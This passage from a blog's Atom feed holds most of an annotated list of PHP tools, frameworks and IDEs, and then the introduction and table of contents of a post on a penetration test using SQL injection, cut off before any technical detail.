&lt;li&gt;&lt;a href=&quot;http://qbnz.com/highlighter/&quot;&gt;GeSHi – Generic Syntax Highlighter&lt;/a&gt;&lt;br /&gt;
GeSHi  is designed to be a simple but powerful highlighting class, with the  goal of supporting a wide range of popular languages. Developers can  easily add new languages for highlighting and define easily customizable  output formats.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Version-Control Systems&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://phing.info/trac/&quot;&gt;Phing&lt;/a&gt;&lt;br /&gt;
Phing is a popular  project version-control system for PHP. It is a useful tool for  organizing and maintaining different builds of your project.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/xinc/&quot;&gt;xinc&lt;/a&gt;&lt;br /&gt;
xinc is a &lt;a href=&quot;http://www.martinfowler.com/articles/continuousIntegration.html#EveryCommitShouldBuildTheMainlineOnAnIntegrationMachine&quot;&gt;continuous integration server&lt;/a&gt;  version-control system written in PHP 5 (i.e. continuous builds instead  of nightly builds). It works great with other systems such as &lt;a href=&quot;http://subversion.tigris.org/&quot;&gt;Subversion&lt;/a&gt; and &lt;a href=&quot;http://phing.info/&quot;&gt;Phing&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Useful Extensions, Utilities and Classes&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://simplepie.org/&quot;&gt;SimplePie&lt;/a&gt;&lt;br /&gt;
SimplePie is a PHP class that helps you work with RSS feeds. Check out the online &lt;a href=&quot;http://simplepie.org/demo/&quot;&gt;RSS and Atom feed reader&lt;/a&gt;, which demonstrates a simple Web application that uses SimplePie. &lt;a href=&quot;http://simplepie.org/&quot;&gt;&lt;img alt=&quot;SimplePie - Screenshot&quot; height=&quot;392&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/spie.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://htmlpurifier.org/&quot;&gt;HTML Purifier&lt;/a&gt;&lt;br /&gt;
HTML  Purifier is a standards-compliant HTML filter library written in PHP.  HTML Purifier not only removes all malicious code (better known as XSS)  with a thoroughly audited, secure yet permissive white list, it also  makes sure your documents are standards-compliant. Open source and  highly customizable.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.tecnick.com/public/code/cp_dpage.php?aiocp_dp=tcpdf&quot;&gt;TCPDF&lt;/a&gt;&lt;br /&gt;
TCPDF is an open-source PHP class for generating PDF documents.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.jonasjohn.de/lab/htmlsql.htm&quot;&gt;htmlSQL&lt;/a&gt;&lt;br /&gt;
htmlSQL is a unique tool. It is a PHP class for querying HTML values in an SQL-like syntax. Check out the &lt;a href=&quot;http://www.jonasjohn.de/lab/htmlsql/&quot;&gt;live demonstration of how htmlSQL works&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://searchlightdigital.com/the-greatest-php-snippet-file-ever-using-quicktext-for-notepad&quot;&gt;The Greatest PHP Snippet File Ever (Using Quicktext for Notepad++)&lt;/a&gt;&lt;br /&gt;
“A  little something for all coders: a snippets file that I use for PHP  coding. This is designed to be used with Quicktext for Notepad++, but  feel free to adapt it to whatever text editor you prefer.”&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://creole.phpdb.org/trac/&quot;&gt;Creole&lt;/a&gt;&lt;br /&gt;
Creole is a  database abstraction layer for PHP5. It abstracts PHP’s native  database-specific API to create more portable code while also providing  developers with a clean, fully object-oriented interface based loosely  on the API for Java’s JDBC.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.codeplex.com/PHPLinq&quot;&gt;PHPLinq&lt;/a&gt;&lt;br /&gt;
LINQ is a  component that adds native data querying capabilities to PHP using a  syntax reminiscent of SQL. It defines a set of query operators that can  be used to query, project and filter data in arrays, enumerable classes,  XML, relational databases and third-party data sources. [&lt;a href=&quot;http://phpimpact.wordpress.com/2008/05/29/30-useful-php-classes-and-components/&quot;&gt;via&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.xm1math.net/phpmathpublisher/&quot;&gt;PHPMathPublisher&lt;/a&gt;&lt;br /&gt;
With  PhpMathPublisher, you can publish mathematical documents on the Web  using only a PHP script (no LaTeX programs on the server and no MathML). &lt;a href=&quot;http://www.xm1math.net/phpmathpublisher/&quot;&gt;&lt;img alt=&quot;Math - Screenshot&quot; height=&quot;81&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/math.gif&quot; width=&quot;302&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.phpmyadmin.net/home_page/index.php&quot;&gt;phpMyAdmin&lt;/a&gt;&lt;br /&gt;
If  you’re working with PHP, there’s a big chance you’re set up in a LAMP  configuration. phpMyAdmin is Web-based tool for managing, building,  importing, exporting and exploring MySQL databases.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.codeplex.com/PHPExcel&quot;&gt;PHPExcel&lt;/a&gt;&lt;br /&gt;
PHPExcel  is a set of useful PHP classes for working with Microsoft Excel files.  PHPExcel allows you to read Excel files and write to them. This is  useful for dynamically generating Excel spreadsheets for downloading.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://p.horm.org/er/&quot;&gt;Phormer&lt;/a&gt;&lt;br /&gt;
Phormer is a PHP-based photo gallery management application that helps you to store, categorize and trim your photos online.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.xajaxproject.org/&quot;&gt;xajax PHP Class Library&lt;/a&gt;&lt;br /&gt;
xajax  is a PHP class for easily working with PHP AJAX applications. It gives  you an easy-to-use API for quickly managing AJAX-related tasks. Check  out the &lt;a href=&quot;http://www.xajaxproject.org/examples/multiply/multiply.php&quot;&gt;xajax Multiplier demo&lt;/a&gt; and the &lt;a href=&quot;http://www.xajaxproject.org/examples/thewall/thewall.php&quot;&gt;Graffiti Wall demo&lt;/a&gt; to see the xajax PHP class in action.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://phpuserclass.com/&quot;&gt;PHP User Class&lt;/a&gt;&lt;br /&gt;
PHP User  Class is an excellent script that helps you create a system for user  authentication (i.e. registration, log in, account profile, etc.). It’s a  useful utility to have around if you require user registration for your  Web applications.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://gtk.php.net/&quot;&gt;PHP-GTK&lt;/a&gt;&lt;br /&gt;
PHP-GTK is a PHP extension for the &lt;a href=&quot;http://www.gtk.org/&quot;&gt;GTK+&lt;/a&gt;  toolkit (a robust toolkit for developing GUIs). It is a suite of useful  OOP functions and classes to help you rapidly build cross-platform,  client-side GUI’s for your application.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;PHP Online Tools and Resources&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/minify/&quot;&gt;Minify!&lt;/a&gt;&lt;br /&gt;
Minify is a  PHP 5 app that can combine multiple CSS or JavaScript files, compress  their content (i.e. remove unnecessary white space and comments) and  serve the results with HTTP encoding (via Gzip/deflate) and headers that  allow optimal client-side caching. This will help you follow several of  Yahoo!’s &lt;a href=&quot;http://developer.yahoo.com/performance/index.html#rules&quot; rel=&quot;nofollow&quot;&gt;Rules for High Performance Websites&lt;/a&gt;. &lt;a href=&quot;http://code.google.com/p/minify/&quot;&gt;&lt;img alt=&quot;minify - Screenshot&quot; height=&quot;221&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/minify.gif&quot; width=&quot;550&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://en.dklab.ru/lib/HTTP_StaticMerger/&quot;&gt;HTTP_StaticMerger: Automatic “merging” of CSS and JavaScript files&lt;/a&gt;&lt;br /&gt;
This  library automatically merges sets of static files (CSS or JavaScript)  and speeds up page loading (by lowering the number of HTTP queries). It  is recommended to use this together with caching reverse-proxy to  minimize the response time.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.phpobjectgenerator.com/&quot;&gt;PHP Object Generator&lt;/a&gt;&lt;br /&gt;
PHP  Object Generator is an open-source Web-based tool that helps you  quickly construct PHP objects and leverage object-oriented programming  (OOP) principles in your code. &lt;a href=&quot;http://www.phpobjectgenerator.com/&quot;&gt;&lt;img alt=&quot;Php Object Generator - Screenshot&quot; height=&quot;481&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/03_object_generator.jpg&quot; width=&quot;407&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.gotapi.com/php&quot;&gt;gotAPI/PHP&lt;/a&gt;&lt;br /&gt;
gotAPI is a useful online tool for quickly looking up PHP functions and classes. Also check out the &lt;a href=&quot;http://www.gotapi.com/widgets/compiled/c1_module_php.html&quot;&gt;Quick PHP look-up&lt;/a&gt; widget example in case you’d like to include this awesome look-up feature on your website. &lt;a href=&quot;http://www.gotapi.com/php&quot;&gt;&lt;img alt=&quot;gotAPI/PHP - Screenshot&quot; height=&quot;312&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/04_gotapi.jpg&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.koders.com/&quot;&gt;koders&lt;/a&gt;&lt;br /&gt;
koders is a search  engine for open-source and downloadable code. It currently has over a  billion lines of code indexed and isn’t limited to just PHP.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pecl.php.net/&quot;&gt;PECL&lt;/a&gt;&lt;br /&gt;
PECL is a directory of all known PHP extensions and a hosting facility for downloading and developing PHP extensions.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;In-Browser Tools (Firefox Add-Ons)&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.firephp.org/&quot;&gt;FirePHP&lt;/a&gt;&lt;br /&gt;
FirePHP is a Firefox extension that allows you to log data in &lt;a href=&quot;http://getfirebug.com/&quot;&gt;Firebug&lt;/a&gt;.  It has a variety of useful logging features, such as the ability to  change your error and exception handling on the fly and to log errors  directly to the Firebug console. To learn more about what FirePHP can  do, check out the FirePHP guide on &lt;a href=&quot;http://www.firephp.org/HQ/Use.htm&quot;&gt;how to use FirePHP&lt;/a&gt;. For developers using the &lt;a href=&quot;http://framework.zend.com/&quot;&gt;Zend PHP framework&lt;/a&gt;, you might find this guide on &lt;a href=&quot;http://www.christophdorn.com/Blog/2008/09/02/firephp-and-zend-framework-16/&quot;&gt;using  FirePHP with Zend&lt;/a&gt; useful. &lt;a href=&quot;http://www.firephp.org/&quot;&gt;&lt;img alt=&quot;FirePHP - Screenshot&quot; height=&quot;271&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/01_firephp.jpg&quot; width=&quot;435&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://phplangeditor.mozdev.org/&quot;&gt;phpLangEditor&lt;/a&gt;&lt;br /&gt;
phpLangEditor is a very handy Firefox add-on for translating language files and variables in your script. &lt;a href=&quot;http://phplangeditor.mozdev.org/&quot;&gt;&lt;img alt=&quot;phpLangEditor - Screenshot&quot; height=&quot;287&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/02_phplangeditor.jpg&quot; width=&quot;499&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/3505&quot;&gt;PHP Lookup&lt;/a&gt;&lt;br /&gt;
PHP Lookup is a built-in search bar to help you quickly look up references to PHP syntax.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/8984&quot;&gt;PHP Manual Search&lt;/a&gt;&lt;br /&gt;
PHP Manual Search is a handy search bar that searches &lt;a href=&quot;http://www.php.net/docs.php&quot;&gt;official PHP documentation&lt;/a&gt; from within your Web browser.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Frameworks for PHP&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://dwoo.org/&quot;&gt;Dwoo&lt;/a&gt;&lt;br /&gt;
Dwoo is a PHP 5 template  engine positioned as an alternative to Smarty. It is (nearly) fully  compatible with its templates and plug-ins, but it is being written from  scratch and is aimed to go one step further with a cleaner code base.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://codeigniter.com/&quot;&gt;CodeIgniter&lt;/a&gt;&lt;br /&gt;
CodeIgniter is a  powerful, high-performance, open-source PHP framework that helps you  author PHP applications rapidly. CodeIgniter is known for having a light  footprint, thereby reducing your server’s work. You can get up and  running with CodeIgniter in a jiffy: it has an awesome &lt;a href=&quot;http://codeigniter.com/user_guide/&quot;&gt;online manual&lt;/a&gt;, a couple of helpful &lt;a href=&quot;http://codeigniter.com/tutorials/&quot;&gt;video tutorials&lt;/a&gt; and an active &lt;a href=&quot;http://codeigniter.com/forums/&quot;&gt;user forum&lt;/a&gt;. &lt;a href=&quot;http://codeigniter.com/&quot;&gt;&lt;img alt=&quot;CodeIgniter - Screenshot&quot; height=&quot;251&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/codeigniter.jpg&quot; width=&quot;448&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.yiiframework.com/&quot;&gt;YII Framework&lt;/a&gt;&lt;br /&gt;
Here is a  high-performance component-based PHP framework that is supposed to be  more efficient than CodeIgniter, CakePHP, ZF and Symfony. An optimal  solution for developing large-scale Web applications. Yii supports MVC,  DAO/ActiveRecord, I18N/L10N, caching, jQuery-based AJAX support,  authentication and role-based access control, scaffolding, input  validation, widgets, events, theming and Web services.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.netbeans.org/features/php/index.html&quot;&gt;NetBeans&lt;/a&gt;&lt;br /&gt;
A  dedicated PHP coding environment and complete integration with web  standards. The NetBeans PHP editor is dynamically integrated with  NetBeans HTML, JavaScript and CSS editing features such as syntax  highlighting and the JavaScript debugger. NetBeans IDE 6.5 fully  supports iterative development, so testing PHP projects follows the  classic patterns familiar to web developers.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.solarphp.com/&quot;&gt;Solar&lt;/a&gt;&lt;br /&gt;
Solar is a PHP 5 development framework for Web applications derived from the &lt;a href=&quot;http://phpsavant.com/&quot;&gt;Savant&lt;/a&gt;  templating engine. Solar uses the MVC architectural pattern and has a  host of classes and functions for securing your Web app against SQL  injection, cross-website scripting (XSS) and other common exploits. &lt;a href=&quot;http://www.solarphp.com/&quot;&gt;&lt;img alt=&quot;Solar - Screenshot&quot; height=&quot;198&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/solar.jpg&quot; width=&quot;450&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.symfony-project.org/&quot;&gt;symfony&lt;/a&gt;&lt;br /&gt;
symfony is  an open-source PHP 5 Web application framework that is well known for  its modularity and useful library of classes. To get up and running as  fast as possible, you should check out the pragmatic symfony online  tutorial called “&lt;a href=&quot;http://www.jobeet.org/&quot;&gt;The symfony 1.2 advent calendar tutorial&lt;/a&gt;,” which takes you through a step-by-step example of building your own symfony-based Web application.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pear.php.net/&quot;&gt;PEAR – PHP Extension and Application Repository&lt;/a&gt;&lt;br /&gt;
PEAR  is a popular framework and distribution system for reusable PHP  components. The purpose of the framework is to provide a structured  library of open-source code for PHP users, a system for code  distribution and package maintenance and a standard style for PHP code.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://propel.phpdb.org/trac/&quot;&gt;Propel&lt;/a&gt;&lt;br /&gt;
Propel is an  Object-Relational Mapping (ORM) framework for PHP 5. It allows you to  access your database using a set of objects, providing a simple API for  storing and retrieving data.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://wiki.limb-project.com/doku.php?id=limb3:en:packages:macro&quot;&gt;{{macro}} template engine&lt;/a&gt;&lt;br /&gt;
{{macro}}  compiles initial templates into executable PHP scripts with very clean  syntax (much cleaner than WACT and Smarty) and executes them very fast.  The engine doesn’t use an XML-like syntax; there are only two data  scopes, global and local, and no more data sources (all data is  displayed with regular PHP variables); and the system supports all WACT  features such as templates wrapping and including.&lt;img alt=&quot;minify - Screenshot&quot; height=&quot;183&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/macro.gif&quot; width=&quot;450&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://framework.zend.com/&quot;&gt;Zend Framework&lt;/a&gt;&lt;br /&gt;
The Zend Framework by &lt;a href=&quot;http://www.zend.com/en/company/&quot;&gt;Zend Technologies&lt;/a&gt;  (the creators of PHP’s scripting engine) is a popular PHP Web  application framework that embraces the principles of PHP OOP; it’s very  extensible and has built-in utilities for working with free Web service  APIs, such as those of &lt;a href=&quot;http://code.google.com/apis/gdata/&quot;&gt;Google&lt;/a&gt;, &lt;a href=&quot;http://flickr.com/services/&quot;&gt;Flickr&lt;/a&gt; and &lt;a href=&quot;http://aws.amazon.com/&quot;&gt;Amazon&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.qcodo.com/&quot;&gt;Qcodo&lt;/a&gt;&lt;br /&gt;
Qcodo is an excellent  open-source PHP Web application framework. It’s subdivided into two  parts: (1) Code Generator, and (2) Qforms. Code Generator handles the  creation of object code and PHP and HTML front-end code from your data  model. Qforms is an intuitive system for handling and creating complex  PHP-driven HTML Web forms. Check out &lt;a href=&quot;http://www.qcodo.com/demos/&quot;&gt;demos of applications that use Qcodo and presentational material that covers Qcodo&lt;/a&gt;. &lt;a href=&quot;http://www.qcodo.com/&quot;&gt;&lt;img alt=&quot;Qcodo - Screenshot&quot; height=&quot;249&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/qc.gif&quot; width=&quot;528&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.modernmethod.com/sajax/&quot;&gt;SAJAX&lt;/a&gt;&lt;br /&gt;
SAJAX is a  JavaScript and AJAX application framework that works well with PHP (as  well as several other server-side scripting languages). See SAJAX at  work by going to &lt;a href=&quot;http://www.modernmethod.com/sajax/sajax-0.12/php/example_wall.php&quot;&gt;Wall live demonstration&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.smarty.net/&quot;&gt;Smarty&lt;/a&gt;&lt;br /&gt;
Smarty is a popular  PHP templating system to help you separate PHP logic and front-end code  (HTML, CSS, JavaScript). It will keep your projects modular and easier  to maintain.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://cakephp.org/&quot;&gt;CakePHP&lt;/a&gt;&lt;br /&gt;
CakePHP is one of the  leading PHP frameworks for creating robust, fully-featured Web  applications. CakePHP has an extensive and well-organized &lt;a href=&quot;http://book.cakephp.org/&quot;&gt;online manual&lt;/a&gt;. If you want to learn via video tutorials, check out the &lt;a href=&quot;http://live.cakephp.org/&quot;&gt;CakePHP screencasts&lt;/a&gt;. &lt;a href=&quot;http://cakephp.org/&quot;&gt;&lt;img alt=&quot;CakePHP - Screenshot&quot; height=&quot;180&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/cake.jpg&quot; width=&quot;417&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://phpsavant.com/yawiki/&quot;&gt;Savant2&lt;/a&gt;&lt;br /&gt;
Savant2 is  another popular object-oriented PHP templating system. Instead of a  special syntax unique to Savant2, you use PHP syntax to develop your  project’s template.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.phpspec.org/&quot;&gt;PHPSpec&lt;/a&gt;&lt;br /&gt;
PHPSpec is a simple  and intuitive PHP framework. It follows the Behavior-Driven Development  principle and therefore allows you to write behavior-oriented code,  oftentimes in plain English.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;PHP IDEs and Editors&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.phpeclipse.com/&quot;&gt;PHPEclipse&lt;/a&gt;&lt;br /&gt;
PHPEclipse is  a popular PHP source-code editor that is open source and runs on all  the major operating systems, such as Windows, Linux and Mac OS. It has  all the features you’d expect from a PHP source-code editor, such as  code-folding, syntax highlighting, hover-over tool tips and support for  XDebug and DBG. &lt;a href=&quot;http://www.phpeclipse.com/&quot;&gt;&lt;img alt=&quot;PHPEclipse - Screenshot&quot; height=&quot;424&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/07_php_eclipse.jpg&quot; width=&quot;445&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.nusphere.com/products/phped.htm&quot;&gt;PhpED&lt;/a&gt;&lt;br /&gt;
PhpED  is an excellent IDE for Windows users. It is one of the most robust and  feature-packed IDEs currently out on the market and has useful features  such as a built-in &lt;a href=&quot;http://www.nusphere.com/products/php_profiler.htm&quot;&gt;source-code profiler&lt;/a&gt;  to find bottlenecks in your PHP source code and excellent integration  with third-party apps and services just as front-end code validation. &lt;a href=&quot;http://www.nusphere.com/products/phped.htm&quot;&gt;&lt;img alt=&quot;PhpED - Screenshot&quot; height=&quot;339&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/08_phped.jpg&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.mpsoftware.dk/phpdesigner.php&quot;&gt;phpDesigner&lt;/a&gt;&lt;br /&gt;
phpDesigner  is a lightweight PHP editor/IDE that also handles front-end code and  markup remarkably well. Check out the phpDesigner &lt;a href=&quot;http://www.mpsoftware.dk/tutorials.php&quot;&gt;online tutorials&lt;/a&gt;, as well as &lt;a href=&quot;http://www.mpsoftware.dk/phpdesigner_screencasts.php&quot;&gt;screencasts on phpDesigner&lt;/a&gt; to help you learn more about the IDE. &lt;a href=&quot;http://www.mpsoftware.dk/phpdesigner.php&quot;&gt;&lt;img alt=&quot;phpDesigner - Screenshot&quot; height=&quot;300&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/09_phpdesigner.jpg&quot; width=&quot;350&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.zend.com/en/products/studio/&quot;&gt;Zend Studio&lt;/a&gt;&lt;br /&gt;
Zend  Studio is an excellent PHP IDE for Eclipse. It’ll help you develop,  deploy and manage Rich Internet Applications (RIAs) in an intuitive  interface. &lt;a href=&quot;http://www.zend.com/en/products/studio/&quot;&gt;&lt;img alt=&quot;Zend Studio - Screenshot&quot; height=&quot;333&quot; src=&quot;http://www.smashingmagazine.com/images/powerful-php-tools/10_zend_studio.jpg&quot; width=&quot;485&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.aptana.com/php&quot;&gt;Aptana PHP&lt;/a&gt;&lt;br /&gt;
Aptana PHP is  an open-source IDE extension/plug-in to be used in conjunction with  Aptana Studio. To learn more, be sure to check out the &lt;a href=&quot;http://www.aptana.com/docs/index.php/PHP&quot;&gt;online documentation about Aptana PHP&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.eclipse.org/pdt/&quot;&gt;PDT&lt;/a&gt;&lt;br /&gt;
PDT is a PHP  Development Tools framework that’s part of the Eclipse project. PDT  includes all the necessary tools for you to create PHP-based Web  applications.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.jcxsoftware.com/vs.php&quot;&gt;VS.Php&lt;/a&gt;&lt;br /&gt;
VS.Php is a  PHP IDE for MS Visual Studio, making it a great IDE for recently  converted ASP developers who have used MS VS to develop Web  applications. To get you up and running ASAP with VS.Php, check out  Jcx.Software’s &lt;a href=&quot;http://www.jcxsoftware.com/tutorials.php&quot;&gt;online tutorials&lt;/a&gt; as well as its &lt;a href=&quot;http://www.jcxsoftware.com/jcx/vsphp/docs&quot;&gt;online documentation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.phpedit.com/&quot;&gt;PHPEdit&lt;/a&gt;&lt;br /&gt;
PHPEdit is an  excellent PHP editor/IDE with a ton of useful features and a very  intuitive user interface. To learn more about why PHPEdit is a good IDE,  read the &lt;a href=&quot;http://www.phpedit.com/Features/10-reasons-to-use-PHPEdit&quot;&gt;10 reasons to use PHPEdit&lt;/a&gt; and view the &lt;a href=&quot;http://www.phpedit.com/Features/Screencasts/PHPEdit-3.0-Overview&quot;&gt;introductory screencast about PHPEdit&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Sources and Resources&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/phpfr/&quot;&gt;PHP Function Reference&lt;/a&gt;&lt;br /&gt;
PHP  Function Reference (PHPfr) is a Mac OS X dashboard widget that provides  a fast look-up of information about the PHP Web programming language.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://phpimpact.wordpress.com/2008/05/29/30-useful-php-classes-and-components/&quot;&gt;30 Useful PHP Classes and Components&lt;/a&gt;&lt;br /&gt;
30 useful PHP classes and components that you can use to test, develop, debug and deploy your PHP applications.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://phpadvent.org/2008&quot;&gt;PHP advent 2008&lt;/a&gt;&lt;br /&gt;
In  December, phpadvent.org collected the wisdom of people in the PHP  community who kindly donated their ideas and tips to see us through the  new year.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sitepoint.com/blogs/2008/05/13/useful-in-browser-development-tools-for-php/&quot;&gt;Useful in-browser development tools for PHP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.phpclasses.org/&quot;&gt;PHPClasses.org&lt;/a&gt;&lt;br /&gt;
A huge repository of various PHP classes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://mashable.com/2007/09/26/php-toolbox/&quot;&gt;PHP Developer’s Toolbox&lt;/a&gt;&lt;br /&gt;
Various PHP-related resources in a brief overview.&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/1361198060934866792/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/50-extremely-useful-php-tools.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/1361198060934866792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/1361198060934866792'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/50-extremely-useful-php-tools.html' title='50 Extremely Useful PHP Tools'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-1280051540374546502</id><published>2012-01-01T02:30:00.003-08:00</published><updated>2012-01-01T02:30:21.049-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="SQL Injection Attacks by Example"/><title type='text'>SQL Injection Attacks by Example</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt; A customer asked that we check out his intranet site, which was used by the company&#39;s employees and customers. This was part of a larger security review, and though we&#39;d not actually used SQL injection to penetrate a network before, we were pretty familiar with the general concepts. We were completely successful in this engagement, and wanted to recount the steps taken as an illustration. &lt;br /&gt;
&lt;div id=&quot;toc&quot;&gt; &lt;center&gt;Table of Contents&lt;/center&gt; &lt;ul&gt;&lt;li&gt; &lt;a href=&quot;http://unixwiz.net/techtips/sql-injection.html#target&quot;&gt; The Target Intranet &lt;/a&gt; &lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://unixwiz.net/techtips/sql-injection.html#map&quot;&gt; Schema field mapping &lt;/a&gt; &lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://unixwiz.net/techtips/sql-injection.html#findname&quot;&gt; Finding the table name &lt;/a&gt; &lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://unixwiz.net/techtips/sql-injection.html#finduser&quot;&gt; Finding some users &lt;/a&gt; &lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://unixwiz.net/techtips/sql-injection.html#pass&quot;&gt; Brute-force password guessing &lt;/a&gt; &lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://unixwiz.net/techtips/sql-injection.html#noro&quot;&gt; The database isn&#39;t readonly &lt;/a&gt; &lt;/li&gt;
&lt;li&gt; &lt;a href=&quot;http://unixwiz.net/techtips/sql-injection.html#addnew&quot;&gt; Adding a new member &lt;/a&gt; &lt;/li&gt;
